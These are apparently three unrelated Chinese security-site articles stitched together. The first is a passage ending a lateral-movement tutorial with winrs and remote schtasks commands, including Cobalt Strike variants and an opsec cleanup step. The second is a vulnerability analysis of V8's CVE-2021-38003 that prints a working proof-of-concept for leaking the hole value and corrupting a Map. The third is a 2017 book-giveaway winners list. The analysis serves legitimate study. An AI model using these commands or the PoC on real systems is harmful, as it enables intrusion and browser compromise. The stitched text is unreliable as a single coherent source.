winrs -r:EXAMPLE.lab.local -u:DOMAIN\user -p:password calc.exe
[演示视频](https://videos.files.wordpress.com/evXifo4S/winrm-1_dvd.mp4)
如果借助于[CobaltStrike](https://blog.cobaltstrike.com/2015/07/22/winrm-is-my-remote-access-tool/)，则可以：
当然，这里的问题在于必须使用PowerShell启动它。如果要想远程操作的话，那么还要借助于DCOM或WMI。虽然打开PowerShell通常不会引起人们的怀疑，启动WinRM侦听器也问题不大，但是在执行payload时就会闹出动静了，因为如果运行Cobalt
Strike内置的WinRM模块的话，通常就会引起防御系统的警报了。
这里的警示指标为：
"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
## SchTasks
SchTasks是Scheduled
Tasks的缩写，最初在端口135上运行，之后会使用临时端口，并通过DCE/RPC进行通信。这相当与Linux中创建的cron-job，我们可以指定任务的执行时间和执行内容。
对于PS，我们可以执行下列命令：
schtasks /create /tn **ExampleTask** /tr c:\windows\system32\calc.exe /sc once
/st 00:00 /S **host.domain** /RU System
schtasks /run /tn **ExampleTask** /S **host.domain**
schtasks /F /delete /tn **ExampleTask** /S **host.domain**
对于CobaltStrike来说，我们可以使用下列命令：
shell schtasks /create /tn **ExampleTask** /tr c:\windows\system32\calc.exe
/sc once /st 00:00 /S **host.domain** /RU System
shell schtasks /run /tn **ExampleTask** /S **host.domain**
然后，删除该任务（opsec！）：
shell schtasks /F /delete /tn **ExampleTask** /S **host.domain**
[演示视频](https://videos.files.wordpress.com/fTTJRHqz/schtask_dvd.mp4)
（未完待续） | 社区文章 |
# 前言
大家好，我是灰豆。《灰豆聊 Bug》系列文章的目的是解释漏洞的产生原因，并向你展示这些漏洞如何影响 V8 的正确性。本系列文章分析 PoC 在 V8
中的执行细节，讲解为什么 PoC 要这样设计。
本系列文章主要讲解 <https://bugs.chromium.org/p/v8/issues> 的内容，每篇文章讲解一个 issue。如果你有想学习的
issue 也可以告诉我，我会优先分析讲解。
# 1 介绍
本文讲解 CVE-2021-38003，Chrome issues
地址：<https://bugs.chromium.org/p/chromium/issues/detail?id=1263462>
受影响版本：Google Chrome 95.0.4638.54 (Official Build) (x86_64)。
# 2 漏洞分析
测试用例代码如下：
1. function trigger() {
2. let a = [], b = [];
3. let s = '"'.repeat(0x800000);
4. a[20000] = s;
5. for (let i = 0; i < 10; i++) a[i] = s;
6. for (let i = 0; i < 10; i++) b[i] = a;
7. try {
8. JSON.stringify(b);
9. } catch (hole) {
10. return hole;
11. }
12. throw new Error('could not trigger');
13. }
14. let hole = trigger();
15. var map = new Map();
16. map.set(1, 1);
17. map.set(hole, 1);
18. map.delete(hole);
19. map.delete(hole);
20. map.delete(1);
21. console.log("Size");
22. console.log(map.size);
上述代码第 8 行 stringify 序列化时使用了 string builder 容器保存序列化后的字符串，该容器的容量上限是
String::kMaxLength。
第 2-6 行生成数组 b 的作用是产生 string builder 的长度溢出错误，如图1所示。
溢出产生了异常，该异常应该被添加到 V8 的异常队列，也就是应该被 V8 捕获并处理， **但 JSON.stringify 例外，它的溢出并没有被 V8
捕获而是返回到了用户态** 。我们看看这个例外是如何产生的，根据图 1 的断点，大家可以调试 overflowed_ 的使用过程，会看到这个标记置为
Ture 之后 JSON.stringify 就退出了，并最终返回到了 BUILTIN 方法 JsonStringify 中。（JsonStringify
的详细分析见参考文献[2]）
JsonStringify 使用 `RETURN_RESULT_OR_FAILURE` 宏做为返回值，其源码如下：
1. RETURN_RESULT_OR_FAILURE(isolate,
2. JsonStringify(isolate, object, replacer, indent));
3. //..........宏展开如下.................
4. do {
5. Handle<Object> __result__;
6. Isolate* __isolate__ = (isolate);
7. if (!(JsonStringify(isolate, object, replacer, indent))
8. .ToHandle(&__result__)) {
9. DCHECK(__isolate__->has_pending_exception());//这里！！！！
10. return ReadOnlyRoots(__isolate__).exception();
11. }
12. DCHECK(!__isolate__->has_pending_exception());
13. return *__result__;
14. } while (false);
上述代码第 7 行 .ToHandle()的结果为 False，执行第 10 行代码，返回 exception()，也就是 HoleValue，它是 V8
的内部变量，用于表示空值。注意：第 8 行在 Debug 模式下才有效，本例中该行代码不执行。
在测试用例代码中， **用户使用 try catch 拿到了 HoleValue。**
测试用例代码第 15-17 行创建 Map()，并添加 1 和 hole 两个 key。map.delete 是发生堆损坏的现场，源码如下：
1. TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
2. const auto receiver = Parameter<Object>(Descriptor::kReceiver);
3. const auto key = Parameter<Object>(Descriptor::kKey);
4. const auto context = Parameter<Context>(Descriptor::kContext);
5. ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE,
6. "Map.prototype.delete");
7. const TNode<OrderedHashMap> table =
8. LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
9. TVARIABLE(IntPtrT, entry_start_position_or_hash, IntPtrConstant(0));
10. Label entry_found(this), not_found(this);
11. TryLookupOrderedHashTableIndex<OrderedHashMap>(
12. table, key, &entry_start_position_or_hash, &entry_found, ¬_found);
13. BIND(¬_found);
14. Return(FalseConstant());
15. BIND(&entry_found);
16. // If we found the entry, mark the entry as deleted.
17. StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
18. TheHoleConstant(), UPDATE_WRITE_BARRIER,
19. kTaggedSize * OrderedHashMap::HashTableStartIndex());
20. StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
21. TheHoleConstant(), UPDATE_WRITE_BARRIER,
22. kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
23. OrderedHashMap::kValueOffset));
24. // Decrement the number of elements, increment the number of deleted elements.
25. const TNode<Smi> number_of_elements = SmiSub(
26. CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
27. SmiConstant(1));
28. StoreObjectFieldNoWriteBarrier(
29. table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);
30. const TNode<Smi> number_of_deleted =
31. SmiAdd(CAST(LoadObjectField(
32. table, OrderedHashMap::NumberOfDeletedElementsOffset())),
33. SmiConstant(1));
34. StoreObjectFieldNoWriteBarrier(
35. table, OrderedHashMap::NumberOfDeletedElementsOffset(),
36. number_of_deleted);
37. const TNode<Smi> number_of_buckets = CAST(
38. LoadFixedArrayElement(table, OrderedHashMap::NumberOfBucketsIndex()));
39. // If there fewer elements than #buckets / 2, shrink the table.
40. Label shrink(this);
41. GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
42. number_of_buckets),
43. &shrink);
44. Return(TrueConstant());
45. BIND(&shrink);
46. CallRuntime(Runtime::kMapShrink, context, receiver);
47. Return(TrueConstant());
48. }
上述代码第 17-23 行分别删除 key 和对应的 value； **注意：** 删除方法是把原来key 和 value的值重写为 hole 值。
第 25-29 行更新 map.size = map.size -1；
第 41-16 根据 map.size 的数值来判断是否清理 hole 值；如果 map 中的 hole 太多了，使用
Runtime::kMapShrink 清理 hole 值，稍后讲解 Runtime::kMapShrink。
测试用例第 16 行 map.set(1, 1) 很重要，稍后讲解。
执行测试用例第 18 行代码删除 key 为 hole 的键值。这次删除是正常操作，原来的key 本就是 hole，再改写为 hole，map.size
-1 也是正常操作。
**很重要：** 因为第 41 行代码不满足条件，这次没有触发 Runtime::kMapShrink 清理 hole 值。
执行测试用例第 19 行代码再次删除 key 为 hold 的键值。因为前面用 hole 填充了被删除位置，所以这次删除依旧可以找到一个待删除的
key，然后执行了 **map.size-1** ，现在的map 中还有 (1,1)，但 size 为0。
我们看到这次删除触发 Runtime::kMapShrink 清理 hole 值。
执行测试用例第 20 代码，这是正常操作，但结果是 map.size = -1。
**注意:** 再向这个 map 中添加数据时可以覆盖 V8 的内部值，造成堆损坏。
# 3 触发漏洞的关键条件是 map.set(1, 1)
TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) 的第 41 行代码如下：
41. GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
42. number_of_buckets),
43. &shrink);
该代码是触发 Runtime::kMapShrink 的条件，当 number_of_elements*2 小于 number_of_buckets 时执行
Runtime::kMapShrink，该函数内部调用了 Rehash 方法，源码如下：
1. MaybeHandle<Derived> OrderedHashTable<Derived, entrysize>::Rehash(
2. IsolateT* isolate, Handle<Derived> table, int new_capacity) {
3. DCHECK(!table->IsObsolete());
4. MaybeHandle<Derived> new_table_candidate =
5. Derived::Allocate(isolate, new_capacity,
6. Heap::InYoungGeneration(*table) ? AllocationType::kYoung
7. : AllocationType::kOld);
8. Handle<Derived> new_table;
9. if (!new_table_candidate.ToHandle(&new_table)) {
10. return new_table_candidate;
11. }
12. int new_buckets = new_table->NumberOfBuckets();
13. int new_entry = 0;
14. int removed_holes_index = 0;
15. DisallowGarbageCollection no_gc;
16. for (InternalIndex old_entry : table->IterateEntries()) {
17. int old_entry_raw = old_entry.as_int();
18. Object key = table->KeyAt(old_entry);
19. if (key.IsTheHole(isolate)) {
20. table->SetRemovedIndexAt(removed_holes_index++, old_entry_raw);
21. continue;
22. }
23. Object hash = key.GetHash();
24. int bucket = Smi::ToInt(hash) & (new_buckets - 1);
25. Object chain_entry = new_table->get(HashTableStartIndex() + bucket);
26. new_table->set(HashTableStartIndex() + bucket, Smi::FromInt(new_entry));
27. int new_index = new_table->EntryToIndexRaw(new_entry);
28. int old_index = table->EntryToIndexRaw(old_entry_raw);
29. for (int i = 0; i < entrysize; ++i) {
30. Object value = table->get(old_index + i);
31. new_table->set(new_index + i, value);
32. }
33. new_table->set(new_index + kChainOffset, chain_entry);
34. ++new_entry;
35. }
36. //省略.............................
37. return new_table_candidate;
38. }
注重看上述代码第 19-21 行， **清理了 map 中的 hole** 。
在测试用例中，一共执行了两次 hole 删除操作，如果第一次删除后触发了 Rehash 方法，那么第二次 hole
删除就会报错，导致崩溃，达不到利用的效果。
如何不崩溃？
答：要保证第二次 hole 删除操作之前不能触发 Rehash。
如何不触发 Rehash？
答：要保证 GotoIf 的结果为 false。
**所以，** set(1,1) 是用来凑数的，保证 GotoIf 为 false。
**技术总结**
**（1）** 用户使用 try catch 拿到了 HoleValue；
**（2）** map.delete 使用 HoleValue 填充原位置；
**（3）** 在map中填充数据成员用来凑数，保证不触发 Rehash。
# 4 参考文献
[1]. <https://bugs.chromium.org/p/chromium/issues/detail?id=1263462>
[2]. [《Chrome V8 源码》52.
解密JSON序列化、stringify源码分析](https://zhuanlan.zhihu.com/p/489109147)
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 知乎：<https://www.zhihu.com/people/v8blink>** | 社区文章 |
# 中奖名单公布 | 安全客年末充电必备的12本好书
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 当你觉得为时已晚的时候，恰恰就是最早的时候。
>
> ——致那些一直从未放弃梦想的安全从业者们
2017年马上就要结束了，我们为各位安全客们总结了12本信息安全书籍，其中6本属于经典书籍推荐，另外6本则是在本年度中出版的好书，供大家年末学习充电。
**参与文末的留言活动，获取新年大礼吧~（从12本书籍中任选一本+一箱赣南脐橙）**
## 中奖名单公布
本次活动共有16名小伙伴中奖，快来看看有没有你吧！中奖的小伙伴可以发送自己的联系电话、邮寄地址以及自己想要的书籍（12本中的一本）到邮箱[email protected]，我们的工作人员会与您取得联系~！
**用户id：园园**
推荐书籍：《漏洞战争:软件漏洞分析精要》
推荐理由强烈推荐《漏洞战争:软件漏洞分析精要》这本书，《漏洞战争:软件漏洞分析精要》以精心挑选的经典漏洞为例，以分享漏洞的分析技巧和工具为主，对这些漏洞的成因、利用及修复方法进行详细讲解，以各种类型的经典漏洞作为实战讲解，摒弃空头理论，几乎是”一本用调试器写出来的书”。
**用户id：！**
推荐书籍：《恶意代码分析实战》
推荐《恶意代码分析实战》这是本全面的恶意代码分析技术指南，从理论到实践，从不同方面为读者讲解恶意代码分析的实用技术方法。这本书一步一个台阶地帮助初学者从零开始建立起恶意代码分析的基本技能。
**用户id：the warm** **。**
推荐书籍：《web安全深度剖析》
对我来说，影响最深的不是《黑客攻防技术宝典》、《白帽子讲WEB安全》等等这些赫赫有名的”圣经“，而是张炳帅老师的《web安全深度剖析》。最开始的时候，我很迷茫，不懂http协议，也不懂HTML，不知道web安全是些什么东西。但是这本书从最简单的开始，介绍了http协议，再介绍了相关的安全工具的用途以及如何使用。虽然接下来介绍的的各种漏洞没有能很详细的剖析，但是它好在覆盖的范围广，让我这种小白能对web安全有一个整体的认知，让我有了自己对这个领域的理解。真的很感谢这本书！！（PS：下面那个一模一样的评论是我写的，刚才忘记登录了，现在登录再发一遍。希望编辑能够看过来~）
**用户id：半杯墨水**
推荐书籍：《Metasploit渗透测试魔鬼训练营》
非常喜欢《Metasploit渗透测试魔鬼训练营》这本书，所以我特别推荐此书。本书以讲故事的方式讲解安全技能，将读者带入一个神秘的世界。学习渗透最重要的方法就是实践，本书帮助读者搭建实验环境，教读者如何搜集情报，教读者如何应用注入技术，能够为读者掌握各种渗透技术提供最大帮助。这是这本学习渗透技术不可多得好书！
**用户id：sherlly_666**
推荐书籍：《Reverse engineering for begginner》
推荐Dennis Yurichev的《Reverse engineering for begginner》简称RE4B
国外大神写的，一本很不错的逆向入门书，讲得很详细，全英文，啃下来会是一笔不错的收获。另：据说人邮买了中文版权，目前还没有出版消息…
**用户id：F0rM_Ev3r**
推荐书籍：《Web安全深度剖析》
《Web安全深度剖析》
只谈感受吧，web相比较二进制简单一点，但是作为绝对零基础入门，还是有点难度的，最起码得协议、前端等一系列知识也是要有的，不用太细，太细的可以以后慢慢学。这本书就是有这么一个好处，有一些必备的基础知识。零基础好入门，简单入门，入门以后可以再继续拓展知识面……就是一个好的引路书
**用户id：隐匿依旧为王**
推荐书籍：《漏洞战争：软件漏洞分析精要》
《漏洞战争：软件漏洞分析精要》这是我推荐的书 不知道大家是否曾有过这样的经历：无法读懂网上很多软 件漏洞分析文章，不理解里面的漏洞成因漏洞利用技
巧。即使读懂某篇软件漏洞分析文章，自己仍无法独立 完成相同漏洞的分析。如果文章中所使用的测试环境与 软件版本跟自己使用的不一样，则顿时更不知如何入
手。很多软件漏洞分析文章贴出存在漏洞的汇编代码， 指出导致漏洞的原因，即“结论式分析”，但如何定位到 此段代码并无解释，看完之后，仍不知如何快速定位，
缺乏可借鉴的思路。带着这些问题，相信会这本书中找 到想要的答案。而这本书比《Oday安全：软件漏洞分 析技术》更难更深刻完全是以真实的漏洞为实例以分享
漏洞分析时的一些技巧，以漏洞类型的不同来分享不同 的漏洞分析技巧，可以说是“用调试器写出来的一本 书”，而且综合考虑当前热门的移动安全，特意加入
Android平台上的漏洞分析章节，从Java层、Native层 和内核层等方向分享不同的调试分析方法，可以搭配在 一起来学习。 PS：刚刚发表的忘记登录的
所以重新发表一次 但是看到推荐里面介绍的已经有这本书了 不知道还能不能获奖 真心觉得这本书不错 奔着礼物来的 希望能获奖
**用户id：shuteer**
推荐书籍：《黑客秘笈——渗透测试实用指南1-2》、《渗透测试实践指南-必知必会的工具和方法》
第一本，《黑客秘笈——渗透测试实用指南1-2》我最喜欢的书，没有之一，虽然不厚，单是全是干货，务实不啰嗦，made in
USA。市场上口碑最佳的渗透测试图书，美国亚马逊排名长期位居第一，纸质英文版销量过17000册，电子版销量过7000份。作者对问题的描述，总是能一针见血的搓到关键痛处，没有拖沓感觉。
在一个用足球比赛的视觉框架引导下，读起来更有画面感和方向感。从经典的问题入手，抛砖引玉，触及到的问题也都是距离人们最近的棘手问题，作者不只简单的传授工具怎么用，而且将问题背后的原理，影响危害，关键的处理问题的原则娓娓道来，可以说这是一本谈渗透的书，也无不在书中透露着黑客的思想结晶。
而且，作者在处理某一个问题时，给出了不同的对比解决方案，这么做其实更能开阔人的思维，对同一问题应用不同的工具解决方案，更侧面的将作者深藏多年的隐藏技能，展现在我们面前，有了这些思路原则，再针对之后遇见的问题，我们更就能举一反三，及时应对安全世界里千变万化的问题，多角度，多思路。
第二本，《渗透测试实践指南-必知必会的工具和方法》，虽然介绍的工具有些或许已经过时或者有更好的替代工具，但是介绍的渗透测试的流程和思路对自己很有帮助。比如信息收集、主机扫描、端口扫描、漏洞扫描、漏洞利用、后漏洞利用、提权、后门、rootkit等等，利用上一本书搭的虚拟机环境，把流程和介绍的工具都走了一遍，对一些概念和思路都逐渐清晰起来。
**用户id：GeekPwn**
推荐书籍：《黑客大追踪—网络取证核心原理与实践》、《加密与解密》
推荐书籍一《黑客大追踪—网络取证核心原理与实践》以往的取证书籍大多介绍的是文件系统分析，都是基于单机平台的取证，而这本书介绍的是网络世界的取证，例如数据流分析，网络设备（路由器、交换机、防火墙等）的取证，无线网络取证等。全书以几个真实的案例为开端，把读者带入一个神秘的网络取证世界。推荐书籍二《加密与解密》第三版，这本书的第四版马上也要出了，不过听作者说似乎变化不是很大，如果说上本书是网络取证方向的一本经典书籍，那这本就是逆向破解方向的一本经典书籍，书中介绍了静态和动态分析技术，PE文件格式、脱壳、补丁、代码二次开发等。
**用户id：QQ61915125**
推荐书籍：《黑客攻防技术宝典.Web实战篇（第2版）》、《Metasploit渗透测试指南》、《Metasploit渗透测试魔鬼训练营》、《sql注入攻击与防御，企业级WEB代码安全架构，javascript
dom编程艺术》
推荐《黑客攻防技术宝典.Web实战篇（第2版）》我看过电子版的，很厚的一本书，讲的也很全面，
还推荐《Metasploit渗透测试魔鬼训练营》，不过感觉没有《Metasploit渗透测试指南》写的通俗易懂，不过胜在以故事的形式介绍教学这个号称能hack整个星球的神器。
因为本人主要的学习方向是WEB渗透测试，所以其他的书没有看过，所以不好评论，
另外还有一些书值得推荐《sql注入攻击与防御，企业级WEB代码安全架构，javascript dom编程艺术》。 以上书籍都是本人看过并诚意推荐！
希望能抽到《流畅的Python》，因为现在正在学习Python，我不要脐橙，给我书就行，谢谢了！
**用户id：飞机会飞行**
推荐书籍：《无线电安全攻防大揭秘》
推荐《无线电安全攻防大揭秘》作者 ：杨卿， 黄琳，张婉桥，单好奇，李均 喜欢这本书是因为作者有我爱的大神杨卿哥哥和黄琳姐姐 。我学的专业电子信息
所有通信系统都存在安全问题，通信系统安全问题涉及设备安全、内容安全和防护安全等，各种安全措施伴随着通信和网络技术的发展而发展，特别是当今互联网技术的发展引发的安全问题越来越突出。无线电的安全问题也越来越受到政府、企业和公众的关注。伪基站、非法广播电台，已经真实地影响到普通老百姓的生活。并且，随着软件无线电技术的发展，无线通信协议的实现成本变得越来越低，这意味着攻击的门槛也变得越来越低。
《无线电安全攻防大揭秘》这本书，涵盖当前常见各种无线通信系统的安全问题。协议分析结合攻防实例，深入介绍安全攻防技术。案例题材囊括物联网、车联网、移动通信、卫星导航及相关的软硬件安全。
内容讲解深入浅出、通俗易懂、可读性强。本书既适合从事无线电安全领域的技术人员阅读，对无线电安全方面感兴趣的一般读者也可以通过本书对该领域有初步的了解。
**用户id：黯夏子风**
推荐书籍：《Android应用安全防护和逆向分析》
推荐《Android应用安全防护和逆向分析》，理由：这本书虽然是四哥新出的，但是我已经看了快一半了，满满的干货，讲解由浅入深，是逆向分析的好书。从静态分析到动态调试，从脱壳到防护，各个方面都讲的比较细致，通俗易懂，书里面每一个知识模块都是用实例来讲解，让读者理解更加透彻，上手更加效率。
**用户id：Mask**
推荐书籍：《0day安全软件漏洞分析技术》、《漏洞战争》
推荐《0day安全软件漏洞分析技术》，二进制入门绝对的好书，由浅入深，一般能看懂汇编和c就能跟着书动手干了，满满的干货，可惜绝版了，不过网上有电子版，纸质版可能要自己去印，然后可以和泉哥的《漏洞战争》一起看，《0day》更多的是基础的理论，《漏洞战争》则有作者大量的分析与经验分享，这本书还没绝版，也推荐
**用户id：童话里都是骗人的**
推荐书籍：《Metasploit渗透测试魔鬼训练营》
推荐书籍：《Metasploit渗透测试魔鬼训练营》
推荐理由：要说推荐一本我读过的安全圈好书，那我一定会推荐这本《Metasploit渗透测试魔鬼训练营》，不要看这本书中的案例稍有陈旧，BT5也早已不更新。作为一个初学者，通过这本书可以了解到渗透测试的方方面面，从完整的渗透测试流程、到单点的漏洞分析，以及一些社会工程学技巧。可以之间从实验环境中获得渗透的快感，又可以从漏洞分析中补充原理知识，举一反三。这是一本作为初学者不可不读的好书，感谢诸葛老师的创作，墙裂推荐！！！
PS：祝安全客在新的一年中红红火火，祝安全客的师傅们工作顺利！
**用户id：Edward**
推荐书籍：《白帽子讲Web安全》
推荐《白帽子讲Web安全》没有攻不破的系统，只有还没攻破的系统，有多少条路可以通罗马，大概就有多少种攻克之道。
书中一一剖析各种漏斗原理及攻防之道，既有原理分析，也有实践指导，是一本该行业从业者或是对WEB安全技术有兴趣者值得读读的书，一般看到讲安全的书，一种是讲信息安全理论体系的，基本可以当作大学信息安全教材使用；另一种就是小菜鸟黑客最为喜爱的介绍如何组合使用几个黑客工具，获得对MM加密的QQ空间的访问权限。
这本书特点之一是详细枚举了各种存在的攻防技术，及其技术前世今生，作为阿里巴巴公司安全架构师，书中所述实践性强。作者对安全技术系统性的梳理和分析，也体现西安交大高材生深厚功底。
凯文凯利在其《技术元素》一书描述：技术在博弈中不断进步，垃圾邮件>反垃圾邮件>反反垃圾>反反反…无穷尽也。WEB攻防技术亦然，只是作为一名开发开发人员，我们应该尽量做到自己提交的代码或者产品具有最好的安全性，不然就不能怪别人鄙视你了！
XSS、XSRF、Cookie劫持、SQL注入、点击劫持、钓鱼、DDOS攻击一项项技术酸甜苦辣、五味杂陈。刚才在看“楞镜”事件，突然意识到一个问题，想要绝对的安全是遥不可及的，即使你有最先进的技术，最牛逼的人员，系统固若金汤，但是网络设备、线路都是别人的，甚至互联网顶级CA体系页并不是绝对可信（唉，不好说）。在世外桃源你或许可以绝对安全，但是出来混，你如何能保证得了呢？
**用户id：广岛秋泽**
推荐书籍：《智能汽车安全攻防大揭秘》
《智能汽车安全攻防大揭秘》
针对汽车研发人员介绍了一些安全基础知识，如加密解密、安全认证、数字签名、常见攻击类型和手段等，然后针对安全研究人员介绍了一些智能汽车的工作原理，如汽车的内网协议、网络架构、X-By-Wire线控系统原理、常见潜在攻击面等，最后对一些实际的汽车攻击或安全测试案例进行详细分析，并在分析过程中对案例里涉及的漏洞进行防御分析。
《Python绝技：运用Python成为顶级黑客》
Python是一门非常容易上手的脚本语言，相比perl语言，在简单的语法学习之后，便可以事半功倍的满足日常需求。对于白帽子来说，也是一门必须掌握的语言。
# 2017年新书系列
## 流畅的Python
**作者介绍：** Luciano
Ramalho，从1998年起就成为了Python程序员。他是Python软件基金会的成员，Python.pro.br（巴西的一家培训公司）的共同所有者，还是巴西众创空间Garoa
Hacker Clube的联合创始人。他领导过多个软件开发团队，还在巴西的媒体、银行和政府部门教授Python课程。
安道，专注于现代计算机技术的自由翻译，译有《Flask Web 开发》《Python 网络编程攻略》《Ruby on Rails 教程》等书。
吴珂，现为Airbnb公司软件工程师，所在团队主要负责开发和维护各类可伸缩、高性能服务，并在Airbnb内推广面向服务的系统架构。在分布式系统、云存储服务和跨平台SDK开发，以及大规模数据处理等方面有多年经验。
**推荐理由:** 本书由奋战在Python开发一线近20年的Luciano Ramalho执笔，Victor Stinner、Alex
Martelli等Python大咖担纲技术审稿人，从语言设计层面剖析编程细节，兼顾Python 3和Python
2，告诉你Python中不亲自动手实践就无法理解的语言陷阱成因和解决之道，教你写出风格地道的Python代码。
## macOS软件安全与逆向分析
**作者介绍：**
丰生强，网名非虫，独立软件安全研究员，zi深安全专家，ISC2016安全训练营独立讲师，有着丰富的软件安全实战经验。自2008年起，在知名安全杂志《黑客防线》上发表多篇技术文章，从此踏上软件安全道路，常年混迹于国内各大软件安全论坛。著有畅销安全图书《Android软件安全与逆向分析》。
邢俊杰，zi深程序员，软件安全爱好者，C++
Web框架Cinatra开发者，对编译器与调试器开发有着深入的研究。现就职于国内某互联网公司。业余时间喜欢研究软件与系统的底层，热爱读书与动画。
**推荐理由：**
本书深入介绍了macOS系统的软件安全、逆向分析与加密解密技术，主要包括macOS软件的开发基础、macOS系统工作机制、macOS软件调试接口与机制、二进制程序的格式、反汇编技术、逆向与动态调试技术、反破解技术以及系统安全与反病毒。
## Web安全之机器学习入门
**作者介绍：** 刘焱
百度安全Web防护产品线负责人，负责百度安全的Web安全产品，包括防DDoS、Web应用防火墙、Web威胁感知、服务器安全以及安全数据分析等，具有近十年云安全及企业安全从业经历，全程参与了百度企业安全建设。研究兴趣包括机器学习、Web安全、僵尸网络、威胁情报等。
**推荐理由:**
本书是国内首部机器学习应用于Web安全的作品，作者是百度安全专家，他用风趣幽默的语言诠释了超过15种的机器学习算法，及其在Web安全领域中的实际应用，非常实用，包括所有案例源代码，以及公开的测试数据，可极大地降低学习成本，使读者快速上手实践。
## Android应用安全防护和逆向分析
**作者介绍：** 姜维
某知名互联网公司开发者，参与过多个移动App开发项目，对Android安全问题情有独钟，深入分析过Android源代码和各类移动应用病毒，逆向分析实战经验。
**推荐理由：**
本书全面介绍Android应用的安全防护方法与逆向分析技术，分为四篇：基础篇、防护篇、工具篇、操作篇，共26章。本书有非常详细的案例讲解，也提供了大量的工具源码，是Android开发人员逆向学习研究的极好工具手册，可以帮助Android开发者成为更全面的Android高手。
## 物联网设备安全
**推荐理由:**
未来，数以几十亿计的互联在一起的“东西”蕴含着巨大的安全隐患。本书向读者展示了恶意攻击者是如何利用当前市面上流行的物联网设备实施攻击的，这些设备包括无线LED灯泡、电子锁、婴儿监控器、智能电视以及联网汽车等。如果你是联网设备应用开发团队的一员，本书可以作为一个指南，帮助你探讨如何建立安全解决方案。
## 智能汽车安全攻防大揭秘
**作者介绍：**
360独角兽安全团队，在信息安全领域拥有极丰富的攻防经验、防护专利及研究成果，团队隶属于360安全研究院。团队专注于无线通信、智能设备、汽车、工业系统等新兴安全领域的攻防研究，是现今位列全球移动通信系统协会（GSMA）移动安全名人堂的安全团队。
**推荐理由:**
《智能汽车安全攻防大揭秘》首先针对汽车研发人员介绍了一些安全基础知识，如加密解密、安全认证、数字签名、常见攻击类型和手段等，然后针对安全研究人员介绍了一些智能汽车的工作原理，如汽车的内网协议、网络架构、X-By-Wire线控系统原理、常见潜在攻击面等，最后对一些实际的汽车攻击或安全测试案例进行详细分析，并在分析过程中对案例里涉及的漏洞进行防御分析。本书的特点是由浅入深，为读者提供详细的实际案例分析和防御建议。
# 经典好书系列
## Metasploit渗透测试魔鬼训练营
**作者介绍：**
诸葛建伟，国内信息安全领域的布道者，资深渗透测试技术专家，Metasploit领域的专家之一，实战经验非常丰富。在网络攻防、入侵检测、蜜罐、恶意代码分析、互联网安全威胁监测、智能终端恶意代码等领域都有深入的研究。
**推荐理由:**
《Metasploit渗透测试魔鬼训练营》是首本中文原创Metasploit渗透测试著作，国内信息安全领域布道者和Metasploit渗透测试专家领衔撰写，极具代表性。以实践为导向，既详细讲解了Metasploit渗透测试的技术、流程、方法和技巧，又深刻阐释了渗透测试平台背后蕴含的思想。
## 你不知道的javascript 上卷 中卷
**作者介绍：** Kyle
Simpson，推崇开放的互联网，对JavaScript、HTML5、实时/端对端通信和Web性能有深入研究。他是技术书作家、技术培训师、讲师和开源社区的活跃成员。
**推荐理由:**
“你不知道的JavaScript”系列就是要让不求甚解的JavaScript开发者迎难而上，深入语言内部，弄清楚JavaScript每一个零部件的用途。本书介绍了该系列的四个主题：“作用域和闭包”、“this和对象原型”、“类型和语法”以及“异步和性能”。掌握了这些知识之后，无论什么技术、框架和流行词语，你都能轻松理解。
## 黑客攻防技术宝典 Web实战篇
**作者介绍：** Dafydd
Stuttard，世界知名安全顾问、作家、软件开发人士。牛津大学博士，MDSec公司联合创始人，尤其擅长Web应用程序和编译软件的渗透测试。Dafydd以网名PortSwigger蜚声安全界，是众所周知的Web应用程序集成攻击平台Burp
Suite的开发者。
Marcus
Pinto，渗透测试专家，剑桥大学硕士，MDSec公司联合创始人。Marcus为全球金融、政府、电信、博彩、零售等行业组织和机构提供Web应用程序渗透测试和安全防御的咨询与培训。
**推荐理由:** 《黑客攻防技术宝典.Web实战篇（第2版）》是探索和研究Web
应用程序安全漏洞的实践指南。作者利用大量的实际案例和示例代码，详细介绍了各类Web 应用程序的弱点，并深入阐述了如何针对Web
应用程序进行具体的渗透测试。本书从介绍当前Web
应用程序安全概况开始，重点讨论渗透测试时使用的详细步骤和技巧，总结书中涵盖的主题。每章后还附有习题，便于读者巩固所学内容。
## 彻底研究：黑客编程技术揭秘与攻防实战
**推荐理由：**
本书全面介绍了在Windows环境下使用SocketAPI开发各类黑客软件及系统安全防护工具软件的编程实现方法。在讲解细节上，本书循序渐进地向读者介绍了黑客攻击程序、安全防护工具、远程控制软件、网络安全管理软件的原理及具体编程实现方法，从当前热门的黑客软件和安全防护工具中选择典型案例，深入分析。
## 漏洞战争
**作者介绍:**
林桠泉，网络ID：riusksk、泉哥、林大夫，腾讯高级工程师，大学期间曾在著名杂志《黑客防线》发表技术文章30余篇，大五时获得“微软杯”ExploitMe
安全调试技术个人挑战赛二等奖。毕业后就职于腾讯安全应急响应中心（TSRC），主要从事安全应急响应工作，研究方向主要聚焦在软件安全、移动安全、Web安全等。
**推荐理由：** 《漏洞战争：软件漏洞分析精要》系统地讲解软件漏洞分析与利用所需的各类工具、理论技术和实战方法，主要涉及Windows 和Android
系统平台。《漏洞战争：软件漏洞分析精要》根据不同的软件漏洞类型划分，比如堆栈溢出、沙盒逃逸、类型混淆、UAF、内核漏洞等，同时又针对当前流行的移动安全，加入Android
平台上的漏洞分析与利用。以精心挑选的经典漏洞为例，以分享漏洞的分析技巧和工具为主，对这些漏洞的成因、利用及修复方法进行详细讲解，旨在“授之以渔”。
## Python绝技：运用Python成为顶级黑客
**推荐理由：**
